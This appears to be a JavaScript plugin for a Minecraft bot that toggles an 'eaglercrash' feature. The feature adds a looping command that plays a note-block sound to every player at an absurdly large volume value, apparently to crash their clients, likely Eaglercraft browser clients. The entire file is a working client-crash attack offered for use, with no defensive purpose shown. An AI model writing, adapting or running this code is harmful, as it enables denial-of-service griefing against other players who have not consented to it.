function inject (bot) { let id = NaN bot.eaglercrash = { on () { if (!isNaN(id)) throw new Error('Eaglercrash is currently enabled') const command = 'minecraft:execute as @a at @s run playsound block.note_block.harp record @a ~ ~ ~ 100000000000000000000000000000000000000 1 0' bot.cloop.add( command, 0, false ) id = bot.cloop.list.findIndex((cloop) => cloop.command === command) // ig not the best way to find the eaglercrash cloop }, off () { if (isNaN(id) /* you can't use !id */) throw new Error('Eaglercrash is currently not enabled') bot.cloop.remove(id) id = NaN } } } module.exports = { inject }